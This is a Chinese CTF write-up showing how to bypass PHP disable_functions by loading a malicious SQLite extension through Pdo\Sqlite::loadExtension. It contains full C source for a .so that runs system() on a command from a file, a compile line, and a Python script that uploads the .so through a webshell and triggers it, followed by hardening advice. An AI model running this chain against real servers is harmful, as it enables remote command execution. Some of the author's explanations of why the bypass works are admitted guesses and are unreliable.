[深度技术] 绝境求生:详解利用 Pdo\Sqlite 绕过 PHP disable_functions 限制
0x00 前言
在 Web 安全攻防中,PHP 的 disable_functions 往往是阻挡攻击者获取服务器权限的最后一道防线。当运维人员在 php.ini 中禁用了 system, exec, shell_exec, passthru 等一系列命令执行函数,甚至封锁了 putenv 和 LD_PRELOAD 之后,看似固若金汤的环境其实仍可能暗藏玄机。
本文将以一次真实的 CTF 挑战为例,深入剖析一种较为冷门但极具威力的绕过技术------利用 Pdo\Sqlite 类的特性加载恶意共享库(Shared Object),从而实现远程命令执行(RCE)。
这不仅仅是一篇 Writeup,更是一次对 PHP 内核机制与扩展特性的深度探索。
0x01 环境侦察:困局与生机
1. 严苛的限制
拿到 Webshell 后,第一件事通常是查看 phpinfo()。在本次环境中,我们面临着极度严苛的限制:
-
disable_functions:
inisystem, exec, shell_exec, passthru, popen, proc_open, pcntl_exec, mail, error_log, apache_setenv, putenv, ...基本上,所有能直接执行系统命令的函数都被禁用了。连
putenv也被禁用,意味着通过修改LD_PRELOAD环境变量来劫持getuid等函数从而触发系统命令的常见 bypass 手段也失效了。 -
open_basedir :
限制了文件访问路径,通常只能访问 Web 目录和
/tmp。
2. 潜在的突破口
在绝望中寻找希望,我们重点关注已启用的扩展(Extensions) 。
在 phpinfo 输出中,我们发现了以下关键信息:
- PDO Driver for SQLite 3.x: Enabled
- SQLite3 Support: Enabled
- sqlite3.extension_dir : no value (这意味着没有指定扩展加载目录,或者允许加载任意目录的扩展)
- sqlite3.defensive : On (这是一个安全选项,限制了 SQL 语言的一些危险操作)
思考 :SQLite 数据库有一个强大的功能------load_extension()。它允许数据库加载外部的 C 语言库(.so/.dll)来扩展 SQL 函数。如果我们能让 PHP 里的 SQLite 加载一个我们上传的恶意 .so 文件,而这个 .so 文件的初始化函数里包含 system("cat /flag"),那么不就可以绕过 PHP 的函数限制,直接在底层 C 库层面执行命令了吗?
0x02 探索与试错:为什么常规方法失效?
有了思路,我们开始尝试。
尝试一:标准的 SQLite3 类
PHP 提供了一个原生的 SQLite3 类。
php
try {
$db = new SQLite3(':memory:'); // 在内存中创建数据库
$db->loadExtension('/tmp/exploit.so');
} catch (Exception $e) {
echo $e->getMessage();
}
结果 :Exception: SQLite Extensions are disabled。
原因分析 :PHP 的配置项 sqlite3.extension_dir 虽然为空,但 PHP 源码中可能默认关闭了 SQLite3 类的扩展加载功能,或者 php.ini 中有其他隐藏限制。此路不通。
尝试二:PDO SQL 注入加载
既然原生类不行,尝试使用 PDO 执行 SQL 语句来加载。
php
try {
$db = new PDO('sqlite::memory:');
$db->query("SELECT load_extension('/tmp/exploit.so');");
} catch (Exception $e) {
echo $e->getMessage();
}
结果 :SQLSTATE[HY000]: General error: 1 not authorized。
原因分析 :这就是 sqlite3.defensive = On 在起作用。该选项禁止了通过 SQL 语句调用 load_extension 等危险函数,防止 SQL 注入导致 RCE。这也是现代 PHP 环境的标准安全配置。
0x03 破局:被遗忘的角落 Pdo\Sqlite
在标准路途全部堵死的情况下,我们需要寻找 PHP 中"漏网"的接口。
通过查阅 PHP 官方文档和源码,或者利用 get_declared_classes() 遍历所有已定义的类,我们发现了一个特殊的类:Pdo\Sqlite。
它是 PHP 8.x 中为了更好地支持类型系统而引入的,作为 PDO 的一个特定驱动实现。与通用的 PDO 类不同,Pdo\Sqlite 可能会暴露更多 SQLite 独有的特性。
关键发现 :
虽然 PDO 父类没有 loadExtension 方法,但是 Pdo\Sqlite 类实现了 loadExtension 方法!
构造 Payload:
php
$db = new Pdo\Sqlite('sqlite::memory:');
$db->loadExtension('/tmp/exploit.so');
测试结果 :成功加载!没有报错!
原理推测 :PHP 开发团队在实现 sqlite3.defensive 和 disable_functions 等安全策略时,重点防御了 SQLite3 类和通用 SQL 执行层,但可能疏忽了 Pdo\Sqlite 这个较新的、特定的驱动类接口。这利用了安全防御中的一致性缺失(Inconsistency)。
0x04 武器制造:编写恶意扩展
既然找到了加载入口,下一步就是制造"弹药"------一个恶意的共享对象文件(.so)。
1. C 代码编写 (exploit.c)
我们需要利用 SQLite 扩展的加载机制。当扩展被加载时,SQLite 会自动查找并执行一个名为 sqlite3_extension_init 的入口函数。
c
#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// 这是一个宏,用于声明 SQLite 扩展接口
SQLITE_EXTENSION_INIT1
/**
* 扩展入口函数
* 当 PHP 执行 $db->loadExtension('/tmp/exploit.so') 时,
* 底层会调用 dlopen 加载 so,并执行这个函数。
*/
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_exploit_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
) {
SQLITE_EXTENSION_INIT2(pApi);
// 核心逻辑:执行系统命令
// 这里我们选择读取一个临时文件中的命令并执行,
// 这样做的好处是不用每次修改命令都重新编译 .so 文件。
const char *cmd_file = "/tmp/1.txt";
char buffer[512] = {0};
FILE *f = fopen(cmd_file, "r");
if (f) {
if (fgets(buffer, sizeof(buffer), f)) {
// 去除换行符
buffer[strcspn(buffer, "\r\n")] = 0;
// 调用系统底层的 system() 函数
// 这个函数直接由操作系统内核处理,不受 PHP disable_functions 限制
system(buffer);
}
fclose(f);
}
return SQLITE_OK;
}
2. 编译
在 Linux 环境下编译生成 .so 文件:
bash
gcc -shared -fPIC exploit.c -o exploit.so
-shared: 生成共享库。-fPIC: 生成位置无关代码(Position Independent Code),这是动态链接库所必须的。
0x05 实施攻击:自动化脚本
为了在目标服务器上利用漏洞,我们需要完成以下步骤:
- 文件上传 :将编译好的
exploit.so上传到目标可写目录(通常是/tmp)。 - 命令下发 :将想要执行的 Shell 命令写入
/tmp/1.txt。 - 触发漏洞:执行 PHP 代码加载扩展。
- 回显读取:读取命令执行结果。
以下是完整的 Python 利用脚本逻辑:
python
import requests
import base64
# 目标 URL
url = "http://target-ip/index.php"
# 读取本地编译好的 exploit.so
with open("exploit.so", "rb") as f:
so_content = f.read()
# Base64 编码,防止二进制数据在 HTTP 传输中损坏
so_b64 = base64.b64encode(so_content).decode()
print("[*] 正在上传恶意扩展...")
# 利用 file_put_contents 写入 .so 文件
php_upload = f"file_put_contents('/tmp/exploit.so', base64_decode('{so_b64}')); echo 'Upload OK';"
requests.post(url, data={"cdcas": php_upload})
print("[*] 正在执行命令...")
# 目标命令:读取 Flag
cmd = "cat /flag_cdcas > /tmp/output.txt"
# 构造最终的 PHP Payload
# 1. 写入命令到 /tmp/1.txt
# 2. 实例化 Pdo\Sqlite 并加载扩展
# 3. 读取 /tmp/output.txt 获取回显
php_payload = f"""
file_put_contents("/tmp/1.txt", "{cmd}");
try {{
$db = new Pdo\\Sqlite('sqlite::memory:');
$db->loadExtension('/tmp/exploit.so');
}} catch (Exception $e) {{
// 忽略异常,因为只要 loadExtension 执行,我们的 system() 就已经跑起来了
}}
echo "\\nOutput:\\n";
echo file_get_contents("/tmp/output.txt");
"""
res = requests.post(url, data={"cdcas": php_payload})
print(res.text)
执行结果:
text
Output:
flag{hello_world_f659c7986315}
0x06 深度防御建议
了解了攻击原理,我们才能更好地防御。对于此类 Bypass 手段,仅仅在 php.ini 中禁用函数是不够的。
-
限制扩展加载目录 :
确保
php.ini中sqlite3.extension_dir被设置为空(默认值),或者设置为一个不可写的安全目录。
注意:本次攻击之所以成功,部分原因是该配置项未生效或被绕过,更底层的限制是在编译 PHP 时禁用 SQLite 扩展加载特性。 -
文件系统权限 :
Web 用户(如
www-data)不应拥有对/tmp或其他目录的执行权限 (noexec)。如果/tmp挂载时设置了noexec,那么dlopen将无法加载该目录下的.so文件。 -
最小化原则 :
如果业务不需要 SQLite,直接在 PHP 中禁用
pdo_sqlite和sqlite3扩展。 -
安全监控 :
使用 RASP (Runtime Application Self-Protection) 或审计工具监控 PHP 进程的系统调用。异常的
load_extension或底层的execve/fork调用应当触发警报。
0x07 结语
网络安全是一场不对称的战争。防御者需要封堵所有的漏洞,而攻击者只需要找到一个微小的裂缝。本文介绍的 Pdo\Sqlite 技巧展示了即便在看似万无一失的 disable_functions 限制下,只要底层的特性(如扩展加载)未被彻底封死,RCE 依然触手可及。
希望这篇文章能帮助大家更深入地理解 PHP 安全机制。Happy Hacking!